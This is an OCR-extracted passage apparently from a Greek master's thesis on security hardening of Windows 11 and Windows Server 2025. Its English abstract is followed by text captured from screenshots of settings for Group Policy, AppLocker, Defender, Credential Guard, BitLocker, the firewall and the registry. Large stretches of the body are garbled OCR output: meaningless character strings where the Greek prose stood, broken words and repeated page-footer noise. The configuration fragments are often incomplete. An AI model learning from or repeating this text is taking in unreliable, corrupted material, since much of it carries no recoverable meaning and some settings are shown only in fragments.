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Abstract

In today's society, the use of digital media in production, consumption, and the exchange of
goods, services, etc., is continuously increasing. The computer connected to the internet has become
a universal machine that serves simultaneously as a tool for production, communication, education,
cultural creation, and medical services. Alongside the growing use of digital mediad most of which is
dominated by Microsoft productsd there is a corresponding rise in efforts to infiltrate these systems,
whether by amateur groups seeking profit, governmental and non-governmental organizations
engaged in state-level competition, or companies aiming to "target" their competitors. It is particularly
interesting to examine the latest Microsoft operating systems, both at the user level (Windows 11 OS)
and server level (Windows Server 2025), to explore what innovations they bring across various levels
of security and how they respond to the most common penetration attacks. This master's thesis
investigates the changes in Microsoft's operating systems compared to earlier versions, thoroughly
examines the integrated security features presented in the theoretical section and provides numerous
configurations in the experimental section to enhance the security of operating systems without
relying on third-party tools, through various techniques and real-world examples of security
enhancement. Furthermore, penetration testing is conducted using several tools such as Nmap,
Nessus, Metasploit, Covenant, Caldera, Veil, and many others, aiming to comprehensively analyze
the security mechanisms' responses across numerous simulated attacks. The results demonstrated
that Microsoft's integrated security technologies deter and minimize risks on Windows 11 and
Windows Server 2025. Additionally, vulnerabilities are of low risk, and the mechanisms, when
properly configured, enable a robust security posture for the operating system. The study highlights
that while certain attacks succeed on other operating systems or when effective implementations are
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not applied, Microsoft's steps allow security engineers with appropriate expertise to act effectively to
safeguard operating systems by leveraging embedded security technologies.
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| Public Key Policies
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| Application Control Policies
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Account is locked out for:
30 =

minutes

o B3 &M nult esload

o

UO0eaoavazegelU Uds "~esasUsese Udgd oY) oUstdk icdlootinlic ai
Goae h 30U UgszelegelleddB aigadwsdds. zhasd U esUieclUs d Ugc
JGGyaUsU G0 GgGUee 00U U¥s Windows 11 aUs Windows SerwB&r 2025



U000 UgeosUse @sUU) sbe golopdsaidd

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBbBBBBBB

o - o

Uds tesY¥yaUsU h eg e cjelldd l°JV e 8y U0a 30U UeeseyYil:
"9dU3shUdqUUOd 3 U Unarsufkeer W emdiydsdkd sUd

Access this computer from the network Properties ? X

Local Security Setting  Explain

'i' Access this computer from the network

Administrators

Backug Oierators

Users

\_ Add User or Group E \ Remove
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New Path Rule X

General

%E Use rules to ovemide the default security level.

Path:
C:\Users\dimit\Downloads

Browse...

Security level:
Disallowed

Description:
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Credential Validation

This policy setting allows you to audit events generated by validation tests

Events in this subcategory occur only on the computer that is authoritative
or those credentials. For domain accounts, the domain controller is
uthoritative. For local accounts, the local computer is authoritative
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zya0 0 Uds UsUgroesd ewmtdllidd @aedcgmmi ni st fagteirs 30
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Subcategory Audit Events

=0 Audit Credential Validation Success and Failure
i Audit Kerberos Authentication Service Success and Failure
sio Audit Kerberos Service Ticket Operations Mot Configured

=0 Audit Other Account Logon Events Mot Configured

Koo yAUdEVEENnt s

Kit U3Ujoe eoeiel Uds tgeWdmdel a0 Mgy  dgayg OO
hte oaUs GUUHQetoedgealdlUgdse esastlUsoe eaUsf] 3Us 9

Cow

Sensttive Privilege Use a

This policy setting allows you to audit events generated when sensitive
privileges (user rights) are used such as the following:
A privileged service is called.
One of the following privileges are called:
Act as part of the operating system.
Back up files and directories.
Create a token object.
Debug programs.
Enable computer and user accounts to be trusted for
delegation.
Generate securty audits.
Impersonate a client after authentication.
Load and unload device drivers.
Manage auditing and security log.
Modify fimware environment values.
Replace a processdevel token.
Restore files and directories.
Take ownership of files or other objects.

If you configure this policy setting, an audt event is generated when
sensttive privilege requests are made. Success audits record successful
requests and Failure audits record unsuccessful requests

if you do not configure this policy setting, no audit event is generated when
sensitive privilege requests are made.

Volume: High.
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Subcategoryl’e Audit Events

#io Audit Non Sensitive Privilege Use Mot Configured

#o Audit Other Privilege Use Events Mot Configured

L1 Audit Sensitive Privilege Use Success and Failure

Koo MAUdEVent s
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Distributed Link Tracking Client Properties (Local Computer) X
Generd LogOn Recovery Dependencies

Service name: TkWks
Display name: Distributed Link Tracking Client

Description: Maintains links between NTFS files within a
computer or across computers in a network.

Path to executable:
C:\Windows"System32\svchost exe & Local SystemNetwork Restricted p

Startup type: Automatic

Service status:  Stopped
Start

You can specify the start parameters that apply when you start the service
from here.

Start parameters:

OK Cancel App
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4 Core isolation

Security features available on your device that use virtualization-based F

security. ¢

Memory integrity

Prevents attacks from inserting malicious code into high-security F

processes. C

@ on

(

Learn more \

Koo HdGbriesol ati on

Core | sdateilendUs o950 y30 GVU;UVSUVC{;SGUSGF] Ot dyaU
93'39§G'Guo[uqy|rjtJVLQaubsaszeadelseUmcuo'Uy UVBSB§G3LL°JLOJS UeeeU
GUegOUed t0GUU 30 U03U9 oUei UUy U ", eGU0U0UgeysU U h
sefhsxvlid UgUalGddUx aUsUesgjyos13 Usg aUsUsgj)osasi, h~
eedd

JGGyaUsU G0 GgGUee 00U U¥s Windows 11 aUs Windows Serwver 2025



U000 UgeosUse @sUU) sbe golopdsaidd

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBbBBBBBB

Memory | ntgdderidyt sasoe U eUjy Us oUshbsges a609
oUsahbegas oatlsalU GU UsU)oUitald gydeed DﬁﬂYa»UeUg’ 1 gUh
dgtUeeUUs( UjUeysegas UaUj UalUd oaUs uUs LUUds;UG?‘a;aeL:LsUUs
UzUy o6 e8sdeyse (GUds UsahaU UasUs Wmsnly))y e ucu-zyq&Jyssey3Uch
U 9  aye3 U a Ute ~;e0UU0GaUd osU Uds e3eedq Uesg GguUeeU

JgUh Ue cUj UaldystiUsah dgaUstilyy Us GUds Usalegtd
Use UUUaaUi 83UUs Uy vUY GdeUaU GUd tsUcUaystd Udd es3eec

code i mejpadtfieanoverfl ows.

3.1.am0f RO6& gif Al EREY (DEHRa O1 £O0S O

¢ DERJe "sliaslUs Uds UesUyaUid osaUshbegasg oatlisal G0 -
ehszae o990 UtUUeseysU.
Performance Options X

Visual Effects  Advanced Data Execution Prevention

N Data Execution Prevention (DEP) helps protect agamst
3 é damage from viruses and other security threats. Ziow

does it work?

© Turn on DEP for essential Windows programs and services only

(_) Turn on DEP for all programs and services except those | select:
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Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

sMitigation
sMitigation

tem
tem Defaults
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BottomUp L
Override BottomUp : False
ForceRelocateImages : NOTSET

RequireInfo : OFF

Override ForceRelocate : False
HighEntropy : NOTSET
Override High Entropy : False
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319Wi ndows Defender Credenti al Guard

| © Enabled

)

. (O Disabled

| Supported oN At jeast Windov

{

i Options:

1 Select Platform Security Level:

Secure Boot and DMA Protection ~

i Wirtualization Based Protection of Code Integrity:

Enabled without lock ~

I [J Require UEFI Memory Attributes Table
Credential Guard Configuration:

] Enabled with UEFI lock ~

Secure Launc%onfiguration:

|| Enabled ~

Kernel-mode Hardware-enforced Stack Protection:

Enabled in audit mode ~
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% User Account Control Settings - [m] X
Choose when to be notified about changes to your computer

User Account Contrel helps prevent potentially harmful pregrams from making changes to your computer.
Tell me more about User Account Control settings

Always notify
—--.— Always notify me when:

®  Applications try to install software or make changes to
my computer

* | make changes to Windows settings

@ Recommended if you routinely install new software
- - and visit unfamiliar websites.

Never notify

| %ok Cancel
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Auditing Entry for Users.

Principal:  Chronis Fiflis (cfiflis@outlook.com)  Select 2 principal
Type: Success ~

Applies to;  This folder, subfolders and files v

Basic ssions: Show advanced permissions

@ Full control
8 Modify
® Read & execute
(8 List folder contents
B Read
@ Write
Special permission:

(] Only apply these auditing settings to objects and/or containers within this container Clear all
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EEventV\ewar -
File Action View Help
= zE BE
B et Ve Lo
» [ Custom Views X
s s Mame Type Murnber of Events  Size
y = Applications and Services Lo Application Administrative 656 1.07 MB
.(:j Subscriptions Security Administrative 16,013 12.07 MB
Setup Operational ] 63 KB
System Administrative 1,631 1.07 MB
Forwarded Events Operational 0 0 Bytes
Koofl#BEvent s
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9 Device security

Security that comes built into your device. Have a question?

b Core isolation

n-based secur Help improve Windows Security

Change your privacy settings

(3 Secure boot

83 Data encryption
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[E4 Windows Features 2 m} X

Turn Windows features on or off (7]

To turn a feature on, select its checkbox. To turn a feature off, clear its
checkbox. A filled box means that only part of the feature is turned on.

SMB Direct
() Telnet Client
()= TFTP Client
()" Virtual Machine Platform
J~" Windows Hypervisor Platform
[J= Windows Identity Foundation 3.5
+ Windows PowerShell 2.0
3 (0 Windows Process Activation Service
(J= Windows Projected File System

Windows Subsystem for Linux
Windows TIFF IFilter

| oK | Cancel
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Create Executable Rules

_ .
Path

Before You Begin . . )
Select the file or folder path that this rule should affect. If you specify a folder path, all files

Permissions underneath that path will be affected by the rule.
Conditions
P .
Exceptions
N YSYSTEM32%\"
ame

Browse Files... | Browse Folders...
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= Local Group Policy Editor a x

File Action View Help

=2 2@ = BE

| Local Computer Policy “ || Action User Name Condition  Ex
* I Computer Configuration (Jlbeny  Everyone %SYSTEM32%\" Path
| Software Settings
« |1 Windows Settings
1 Name Resolution Policy
|| Seripts (Startup/Shutdown)
R AVETTTUY pEVOL EXTUTWTE
~ [ Security Settings
A, Account Policies
A Local Policies
| Windows Defender Firewa
| Network List Manager Pol
Public Key Policies
_| Software Restriction Polici
Epl\caticn Control Policie
v L3 Applocker
:—" Executable Rules
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[ System Protection for Local Disk (C:) X

Restore Settings

By enabling system protection, you can undo undesired changes by
reverting your computer to a previous point in time.

© Turn on system protection

(O Disable system protection

Disk Space Usage

You can adjust the maximum disk space used for system protection, As
space fills up, older restore points will be deleted to make room for new
ones.

Current Usage: 0 bytes

Max Usage: '
5% (2.36 GB)
Delete all restore points for this drive. [’}
Delete
| OK | Cancel

Koot K3 Uy oeSygatrodpt ecti on

K3Uyoe eor e8ibpgoribhete segy ot UgUheUOUU GdeUal U eaU0U0Y
Us¥yaUsU UaA/aaLU:kls:{ athl er g anUU‘YL"JUUL"Jq »6o09leooei, UsdeU
e e)yt 30 bYar hae vy dUaefplipli@hteiy >2ags U HhE5¥305HUs) U
UasUs GUs 5 %)

&’ System Restore x

Restore your computer to the state it was in before the selected event . f

x

Current time zone: GMT Summer Time

Date and Time Description Type
12/05/2024 14:19:13 riadcupns-u-zozo' Manual
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31 .6Wi ndows Defender Exploit Guard

Exploit protection

See the Exploit protection settings for your
system and programmes. You can customise the
settings you want.

frogramme settings  System &€
l¥

~+ Add programme to customise

ExtExport.exe
1 system override

ieduinit.exe
1 system override

ieinstal.exe
1 system override

ielowutil.exe
1 system override

ieUnatt.exe

Export settings

Koo fRaEx plPagiott ect i on
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31.7Mandatory I ntegrity Control ( MI C)
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i".'élNew Value #1 REG_DWORD Ox00000000 ()
- REG_DWORD Ox00000001 (1)
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Descrotion

Tranamssion Cortrol Protocol/itemet Protocal. 1
wide ared network protocol that provides commu Q) Use the following DNS server addresses:

cross dverse rtarconnected netwoks
Preferred ONS server |

Alternatve DHS server

Valdate settngs upon ext Advanced.
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[ Registry Editor = a X
File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters

storvsc Name Type Data
storvsp ab) (Default) REG_SZ (value not set)
shiskls #4) Dhcpv6DUID REG_BINARY 00010001 2d d1 50 41 00 Oc 29 66 be df

g ) DisabledComponents REG_DWORD OxFFFFfF (4294967295)

swprv
AKoofRR®J " Us Uy o6 Pew acdylidyg i stry
geNet BI'OS v [TJCE’/LICPs U" Us UUaNEGsB IUaiRe el s U@y 068 eode
c¥yagd UgUe UqesUj secddes BOFSy UCR/AP " Uyscs)atls Uds oo
Net Ble®@® U GUe Us 90f UlUaosaUgs.

NetBIOS setting

() Default:
Use NetBIOS setting from the DHCP server. If static IP address
is used or the DHCP server does not provide NetBIOS setting,
enable NetBIOS over TCP/IP.

() Enable NetBIOS over TCP/IP
%ﬂsable NetBIOS over TCP/IP
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& EthernetQ Properties X |

Networking

Connect using

P Intel(R) 82574L Gigabit Network Connection

Configure
This connection uses the following items:
'-__—I File and Printer Sharing for Microsoft Networks
8005 Packet Scheduler
| S8 Bridge Driver
| _a Intemet Protocol Version 4 (TCP/IPv4)
4 Microsoft Network Adapter Pv1uh\p\elcl:\"irutucul
. Microsoft LLDP Protocol Driver

Install Uninstall

Description

Allows your computer to access resources on a Microsoft
network

Close ‘
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EX Administrator: Command Prompt
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Shring

Management Protocol)

l=none

Koo Us Uy oel' MR O!I nt ernet Group Management Proto
] " UsUjoe6 cadgnBihgUidgoo
[ Registry Editor - ] X
File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectPlayNATHelp
Command Proce Name Type Data
CommsAPHost ab v(_[_)efvault) REG_SZ (value not set)
Composition 24{UPnPMode | REG_DWORD 0x00000002 (2)
CoreShell PnPMode |
Cryptography |
AKooB8BJ " UsUj; o6 cadpaPhHgdUH900
EVE U;oe eIMHE dv kel a f &6 g
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EN¥ Administrator: Windows PowerShell
i e 11

A] Yes to All [N] No [L] No to All

ndow em32>

Koofgady " Us Uy oec 8MBL d JUs@eahaoasg
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| My Computer Properties i X
General Options Default Properties
Default Protocols COM Security MSDTC

DCOM Protocols

| § Connection-oriented TCP/IP
Add | Removinl | Properties.
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3. 2} @G YoegibsalUli 8 gWienydlows VPN

€« L;LI Connect to a Workplace

Do you want to use a connection that you already have?

(_) Mo, create a new cennection

O Ve, I'll choose an existing connection

‘-\_,. VPN Connection
1 WAN Miniport (IKEv2)
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Windows Defender Firewall with Advanced Security on Local Com... >

Domain Profile  Private Profile  Public Profile  |Psec Settings

Specify behavior for when a computer is connected to a public network

location.
State
l P Firewall state: On (recommended) o
Inbound connections: Block (default) ot
Outbound connections: Block ~
Protected network connections: Customize...

Koofgamll odk®ut bound connections
TUB00) poUbb¥cétreeldws ilislltbg dropped packets.

Customize Logging Settings for the Domain Profile X
Name: \system32\LogFiles\Firewall\pfirewall log Browse...
Size limit (KB): 4,09612
Log dropped packets: Yes v
Log successful connections: No (defautt)

KoofB®BK sUjyLegeldropped packets
T UBUO) poflob®¥c @reed UAI | ow unicast response.

Unicast response
Allow unicast response to multicast or broadcast network traffic.

Allow unicast response: No w
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3. 2Wi ndows Defender Antivirus

< Protection updates

View information about your security intelligence version, and check for
updates.

Security intelligence

Microsoft Defender Antivirus uses security intelligence to detect threats.
We try to automatically download the most recent intelligence to protect
your device against the newest threats. You can also manually check for
updates.

Security intelligence version: 1.419.401.0

Version created on: 10/8/2024 10:13 AM
Last update: 10/8/2024 4:03 PM

& Update successful.

Check for updates

KooMapdat es
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Protected folders

Windows system folders are protected by default
You can also add additional protected folders.

+ Add a protected folder
Documents
C:\Users\Victim\Documents

Documents
C:\Users\Public\Documents

Pictures
C:\Users\Victim\Pictures

Pictures
C:\Users\Public\Pictures

KooMaRr ot ected Fol ders
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Ransomware protection

Protect your files against threats like ransomware, and see how to restore
files in case of an attack.

Controlled folder access

Protect files, folders, and memory areas on your device from unauthorised
changes by unfriendly applications.

@ o~

Koo M®aR)as omwharreet ecti ons

20U Gdke UsgGooubiol | ed FLbﬂWlerrdoAW:s{:e]sIseau UslreUUL300US
Mi crosoft Defebr&qreregAth|f]vU|9ruyseegsu ;quUUyy s Usgd |
’staryagﬁsom\MardeyuUGQ’ U’ f "sdUse ed UsesglosctiaelUdeysd

U s Useddy eddB GeoaseYiUs 30U UsaegUUUaUgUUQ.
3. Wi ndows Defender Advanced Threat Protection
Real-time protection
“ ’V‘ [ll\"‘ :‘"" t | { ] tur r
@ o
Cloud-delivered protection
Provides ir sased and faster protection with access to the latest
‘HJ -.t‘-‘ " :“”!;““1“,; 1. Works best with Automatic sample
@ o
Automatic sample submission
@ o
KooMaAJdvanced Threat Protection
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3. 3KGGU)jcsoe | 0iWeledgs UbWi ndows Security app)
Virus & threat protection
Mo action needed.
App & browser control
Koof®BWli rus & thr ebltp ppr&othe otwisenm contr ol
ASCJ;OG’GelsUUg Usd tie “~UpU ¥yYs«x CJ’eaeoyg’ Usslici:

o

U a UOue Udg’ UuU;aeoeg Uﬁlaeuesl&sEﬂlbg’eddmﬁ@laamiamagummug’
Cont’reod ;euW\;h;nLﬂso wde SoescwirUfp y- L{aUWhrUquWJs ryg fgeUnche re o

e-UsUeg;ooUg’ dgsUyoy¥eeaslUUs 09U Uds ;J0U0U0GaU Usg GguaUe
aUs U h O sdyGUsd oaU00Y Uds V|lrJ;useo&iu'ﬁhrueLhetU;tjaasUBLmoeacLIg 80.
esaeoad)veysd ~JedlUUGaU U f sc6i g, UsbBgifbe gdg Rewe dirsdah U
ti me prdtebBanﬁU;tsOs eUe 16 GUU0UUI Us Ua Gi a0deU a0
Usthieg oUshbsegesg o6 bddbever &d dpewé mptligonisd UUaUg
UsdeU;t GUsgd U&l’j“e}lﬁm}lﬂe&lﬁ hedE@ld UUGiUU;q UsacecsUgld U
aUsUspuybamatic sampUes CSLIlbean-L:t':‘SlionG MJLbrLd)qssn@dUU;ulwain;x
Us¥Yagld, Ggeb¥YaaeaUUd GUds UUcUaU U3UA9panU& BOgws gns
ContWmaddci Us alléddd U&aY OUGUjesot 3 oaUs Udd "~ Upseodiddg a°f
JGGyaUsU G0 GgGUee 00U U¥s Windows 11 aUs Windows Serw®r 2025



U000 UgeosUse @sUU) sbe golopdsaidd

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBbBBBBBB

Smart§djraeyenmpa Usd UGUjyesoyd oaUs 0o U;G”l°Jvc1”Uo "eg UaUUa
‘Z‘oexuUG e aUehbegae 28090¢e90h, Ust "JeuUUUUI Us U h ol
g’sdymhﬁssjh/{ ng’. ayeEspr Q|t Pr;oetueucyt;lLbsn ss:U; Ok e’ a’yasgzs ud,
U eUjy 6300d U sdyiUsd g ”UasUUUaaU+33UU9 Ug ¥dUsU
GgatigUtUsoee UsUjoe ' sadidq UgUis Urs U seso13, UaUiGGUa
"eg dyjyUeasls Ues 0iGUdeU U h Gioe3@8ddUds UebgyaBLE &U
Ua Uy UshUdUU U843 .u0lUceys¥s |

3.3.2 Windows DefendeonAppolli cati on

< Smart App Control

OOn

Evaluation

W )l is in Evaluation mode, it will learn if it can help

!:. ) . rned off
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+ [ Windows Features = |:| X

Turn Windows features on or off (7]

To turn a feature on, select its checkbox. To turn a feature off, clear its | i
checkbox. A filled box means that only part of the feature is turned on. jorporatiol

lorporatiol

[ Device Lockdown B nstion
(" Guarded Host

m® (77 Hyper-V

[CJ" Internet Information Services
(0" Internet Information Services Hostable Web Core

(" Legacy Components

B Media Features
% Microsoft Defender Application Guard

Microsoft Message Queue (MSMQ) Server
B~ Microsoft Defender Application Guard cannot be installed: The processor
[ does not have required virtualisation capabilities.

L@ " MultiPaint Connectar [
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"Udei el 30

Cancel

Defender
Yy el Ues
beoy’

& Edit settings - Windows1_Victim (ESXi 7.0 U2 virtual machine)

Expand for power management settings

CNo0Se WhICh fitmware Shouki DE Used 10 DOt the virtual machine:
ERUELER ez Log Whether or not 1o enable UEF secure boot for this VM
Boot Detay Whenever the virtual machine s powered on or reset. delay boot by
3000 | milliseconds
S EICS B (C7he next tme the virtual machine boots, Torce entry info the BIOS setup screen

[ When the virtual machine fai
ater

s to find a boot device, autematically retry boot

seconds

> Fiber Channel NP1V

= Eenaoie v
EFI, Secure Boot, IOMMU and Hardware Virtualization will be enabled on reboot

CANCEL SAVE

ion Based Securty @
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5l Windows Features = a x

Turn Windows features on or off (7]

To turn a feature on, select its checkbox. To turn a feature off, clear its
checkbox. Afilled box means that only part of the feature is turned on.

Containers

Data Center Bridging
Device Lockdown
Guarded Host

=

Hyper-V
Internet Information Services
Internet Information Services Hostable Web CU%
Legacy Components
B Media Features
B Microsoft Defender Application Guard

Ko ofpalkiz U) 08 alepdpellisceat i on guar d

3.3. Microsoft Def ender Smart Screen

SmartScreen for Microsoft Edge

Microsoft Defender SmartScreen helps protect your device from malicious
sites and downloads.

@ o

AKoofpR2K3s U; oeSmadfigcreen
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3.3. PROR?T ARGA | ERIBeAWREF Protection

curity settings for Microsoft Feige

Manage certficates ©

@
@
s < @
clea
ress for websites [ e}
4 @

Strict
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@ New Outbound Rule Wizard X

Protocol and Ports

3pecify the protocols and ports to which this rule applies

Steps:

Aule Type Daes this i apply to TCP or UDP?

Protocal and Ports O TCP

» MName Does this e apply to all remote pors or specic remte ports?

() All remate ports
© Specific remote ports: aq
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PIN (Windows Hello]

Sign in with a PIN {Recommende
Change your PIN Change PIN

Remove this sign-in option

Koofp®Ni ndows Hell o Pin
. zoVemxdydoleglidsecuri g kapplUUUdaclsl; slietif)s
Ua00® )y Ohedit e for ceelsophas hienly isndeyéiolidigg o U Ulduas b U
Usecurity key.

Windows Hello setup

Insert your security key into the USB port.

Koofp®Ni ndows Hell o Security Key
34. Windows Defender Credenti al Guard
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File Action View Help

- N Hm| Y
v [ System Device Guard
Access-Denied Assistance
App-V Turn On Virtualization Based Setting State
Audit Process Creation Security £] Deploy Windows Defender Application Control Not configured
Credentials Delegation e B Tum On Virtualization Based Security Not configured
Device Guard & Tum On Virtualization Based Security o X
Device Health Attestation Serv | || |
Device Installation | EE] Tum On Virtualization Based Security Previous Settin
Disk NV Cache sisadosl
Disk Quotas | - :
Displey Not Configured ~ Comment
Distributed COM | © Enabled
Driver Installation |
Early Launch Antimahware { O Disabled
Enhanced Storage Access | Supported on: Ay jeast Windows Server 2016, Windows 10
File Classification Infrastructdt®
File Share Shadow Copy Provic
Filesystem ! Options: Help:
Folder Redirection |
Group Policy H Setect Platform Secusity Levet: leaves the policy setting undefined. Group Policy does not write
Internet Communication Man. 1 the policy setting to the registry, and 50 it has no impact on
iscs! Secure Boot and DMA Protection computers or usess. If there is a current setting in the registry it
XoC | will not be modified. For later versions, if there is no current
Kerberos 1| Virtualization Based Protection of Code Integrity setting in the registry, the "Not Configured"” option will enable
. Credential Guard without UEF! lock
Kermel DMA Protection Enabled without lock
LAPS | e e TR Secure Launch
Local Security Authority € Racysie LR Mermory Atintisies Table:
| < setting sets thy i ion of re ur
ke SeRliss ! Credentl Gurd Contiguation: ;2',;. :::ng ets the configuration of Secure Launch to secure the
Logon
s Enabled without lock
Mitigation Options | The "Not Configured” setting is the default, and allows ‘
Net Logon 1| Secure Launch Configuration of the feature by users
05 Policies
PIN Complexity Enabled The “Enabled" option tums on Secure Launch on supported

hardware.
\ | Kernel-mode Hardware-enforced Stack Protection:

2 setting(s) 1':: Disabled" option tums off Secure Launch, regardless of

Enabled in audit mode

Koafaurn On Virtualization Based Security
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Accounts > Sign-in options
Ways to sign in

Facial recognition (Windows Hello)

v
s option is currently unavailable
f’@ Emgerrpnmrrecogrfmon‘[\.I‘deows Hello) o
s option is currently unavailable
PIN (Windows Hello) i
D Security key o
Sign in with a physical security key
p Password -
Sign in with your account's password
@ Picture password ~
Swipe and tap your favourite photo to unlock your de

Koofp®#B3i dmptions

o -

ldloea cmmelsegeU Us

C
Ce

@ Windows Security X

Set up a PIN

A Windows Hello PIN is a fast, secure way to sign in to your
device, apps and services.

| In(\uﬁ letters and symbols

“ Cancel

Kooafp®¥et up pin

34. Mli crosoft Aut henticator
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B® Microsoft

& cfiflis@outlook.com

EAgyxog g epappoyng
Authenticator cag
ITnv epoppoyn oog Authenticator otnv

Kwvntr ouokewr) Android, emiAé€Te Tov
APIOPO TIOU EPPAVIZETAL VIO VO ELOEADETE.

[
=]
—
AMot Tpérot £1068ou
Aev éxw TpooPacn atnv epappoyr) pov Authenticator

Koofpadut henticator
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Wi ndows I nformation Protection (Wl P)

Online speech recognition

Use your voice for apps using Microsoft's online speech recognition
technology.

If you turn off online speech recognition, you won't be able to use apps
that use Microsoft’s online speech recognition technology. However,
you can still use the Windows Speech Recognition app and other speech
services that don't use Microsoft's online speech recognition
technology.

(] Off

KoofpaU U3 Uy 0eOmlaiddiel Speech recognition
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Activity History

Off

Store my actuvnty history on this device

Jump b

including info
how you use apps

and

doing on your

Off |

tory,
browse and

Send my activity history to Microsoft

Jump back into what y

YoalUd U UsphiowdmpetdUsd GUes
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3. @RUAT EGIAI ¥ OFTPM

Trusted PI

& Require additional authentication at startup

5] Require additional authentication at startup

O Not Configured ~ Comment:
© Enabled
O Disabled
Supported on:
Options:

atform Modul

e (TPM)

(=] X

Previous Setting Next Setting

At least Windows Server 2008 R2 or Windows 7

Help:

Allow BitLocker without a compatible TPM

@ (requires a password or a startup key on a
USB flash drive)

Settings for computers with a TPM:

Configure TPM startup:

Allow TPM

Configure TPM startup PIN:

Allow startup PIN with TPM

Configure TPM startup key:

Allow startup key with TPM

Configure TPM startup key and PIN:

Allow startup key and PIN with TPM

Koofpas U) o’

Zyau

This policy setting allows you to configure whether BitLocker
requires additional authentication each time the computer starts
and whether you are using BitLocker with or without a Trusted
Platform Module (TPM). This policy setting is applied when you
turn on BitLocker.

Note: Only one of the additional authentication options can be
required at startup, otherwise a policy error occurs.

If you want to use BitLocker on a computer without a TPM, select
the “Allow BitLocker without a compatible TPM" check box. In
this mode either a password or a USB drive is required for start-
up. When using a startup key, the key information used to
encrypt the drive is stored on the USB drive, creating a USB key.
When the USB key is inserted the access to the drive is
authenticated and the drive is accessible. If the USB key is lost or

lable or if you have forg the p: d then you will
need to use one of the BitLocker recovery options to access the
drive.
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& g Bitlocker Drive Encryption () '

Create a password to Bitock this drive

You should create a strong password that uses upper and lower case letters, numbers, symbols and
spaces.

Enter your password
enseares
Re-enter your password

Next Cancel

Koofpaddeupasswor d

) Euq igoeUeajeseysd "Uja UphdswheadgtdogsdUislgendUddcl
Uds U UsUeosaaszdidq Usg g easosl

Select which encryption mode to use

Windows 10 (Version 1511) introduces a new disk encryption mode (XTS-AES). This mode provides
additional integrity support, but it is not compatible with older versions of Windows.

If this is a removable drive that you're going to use on older version of Windows, you should choose
Compatible mode.

If this is a fixed drive or if this drive will only be used on devices running at least Windows 10 (Version
1511) or later, you should choose the new encryption mode

© New encryption mode (best for fixed drives on this device)

() Compatible mode (best for drives that can be moved from this device)

Koofpss K sacoe o) g Usoy Yididd

o

AL O sayoegeU Uss U;h’e 9)g Uesoyldidd h eg dU ds
U;UeUasegs U°uUae, oUs bay 8gel AUs o) YURES ®5Ua Uss
8 saaed jeldyy Us Jhad0Ud g etlUeysasd UalUj UshUqUUJ.

] FVIVUYY SRR DWW FUT LS LY YOOI R b Al

@ Require additional authentication at startup Enabled

:z| Require additional authentication at startup (Windows Serve... Not configured
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Windows Update

m Updates available
K_/ Last checked: Today, 2:44 PM

‘Windows 11 Insider Preview 26085.1

ownloading - 0%
e Downloading

Security Intelligence Update for Microsoft
Defender Antivirus - KB2267602 (Version Installing - 0% !

1.413.743.0) - Current Channel (Broad) !
|

Windows Malicious Software Removal Tool x64 -

v5.125 (KB830830) Pending install
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4. JOERAOCO OEBEf enddMir &8 hreat protection
O Virus & threat protection

Protection for your device against threats

& Current threats

Quick scan

Scan options
Allowed threats

Protection history
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i Core isolation

Security features available on your device that use virtualization-b
security.

This change requires you to restart your device.

Memory integrity

Prevents attacks from inserting malicious code into high-security
processes.

@ o
Learn more
Microsoft Vulnerable Driver Blocklist

Microsoft blocks drivers with security vulnerabilities from running
device.

@ o

Learn more

Kooafpalorlesol ati on
A3 Uj oc ®eveimol y ialMeé gmiotsnd fnter abl e Driver Blocklist.
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I e Add Roles and Features Wizard - m} X ‘

Confirm installation selections e I T e |

L

i Before You Begin To install the following roles, role services, o features on selected server, click Instal.

| [ Installation Type Restart the destination server automatically if required

= e selecid sutomaticly. I yo o st mant 1ot theseeptional fsonms ik reviows 1o e

=] their check boxes.
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SNMP Trap Properties (Local Computer) X
General Log On F{,\‘;aver‘,- Dependencies
Service name SNMPTrap

Display name SNMP Trap

trap messages. K this service is disabled, any

Description
= services that explicitly depend on it will fail to start

Path to executable:
C:AWINDOWS\System32\snmptrap exe

Startup type: Manual

Service status Stopped
Start

You can specify the start parameters that apply when you start the service
from here

Start parameters:

OK Cancel
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E&Schema Ad Security Group..,  Designated administrato...
User Built-in account for ad...

Kooalyaudoadmin
Other user

PAPEI\sudoadmin

Sign in to: PAPEI

How do | sign in to another domain?

Koofyaddi gm U sger name
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4 [ | SMB 1.0/CIFS File Sharing Support (Not installed)
SMB 1.0/CIFS Client (Not installed)

SME 1.0/CIFS Server (Mot installed
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'.:._'_'__:.' 2 Administrator: Windows Powe X

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Disable-WindowsOptionalFeature: TelnetClient
Running
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& Always prompt for password upon connection ]

5 Always prompt for password upon connection Previous Setting Next Setting

) Not Conﬁgi\\\'d Comment:

© Enabled

Disabled

Supported on: At jeast Windows Server 2003 operating systems or Windows XP Professional
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Remote Management Users Properties 7 >

General Members  Member Of Managed By

Members:
Mame Active Directory Domain Services Folder
_2_;. Sudoadmin papei. Mikaia/zers

Koo fydRe moManage tdset s
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Ly

& Do not allow LPT port redirection

E Do not allow LPT port redirection

(O Not Configured Comment:

© Enabled

() Disabled
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4 .

& Set client connection encryption level

[} Setclient connection encryption level

D )
O Not Configured Comment:

© Enabled

_) Disabled

Supported on: At east Wi

Options:

Encryption Level | High Level

Cheoose the encryption level from the drop-down
list.
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4. AOEOERAOO O@ERE e desktop sharing
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& Disable remote Desktop Sharing 0O X

[] Disable remote DeskI&p Sharing

() Not Configured ~ Comment:

© Enabled

O Disabled

Supported on: 4t eact Windows NetMeeting v3.0

Ko ofy#li s arbd edDtees k Sbari ng

BasU2W0H¥ryd Ugas¥YasUUUs d "eeasUsse UGGYaUsU(d
gUyseystehd/) eUyy UUUs d tgsUURU4UU a0 ed
KzeglseleUdie Usse "y haGbUGC e 3U Uayocecegs Use
gy habuldd Udd eeoss3ed ocjeldd Udg’ U sGys3Us

saslgsed UsUjjeed UUuseysras oUs

JGGyaUsU G0 GgGUee 00U U¥s Windows 11 aUs Windows Serwer 2025



U000 UgesUse msU

Uy sbe

Golepvfhajdd

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBbBBBBBB

TUs
3

e ©

] 8 2
K o aU~y

O™
CCeCe

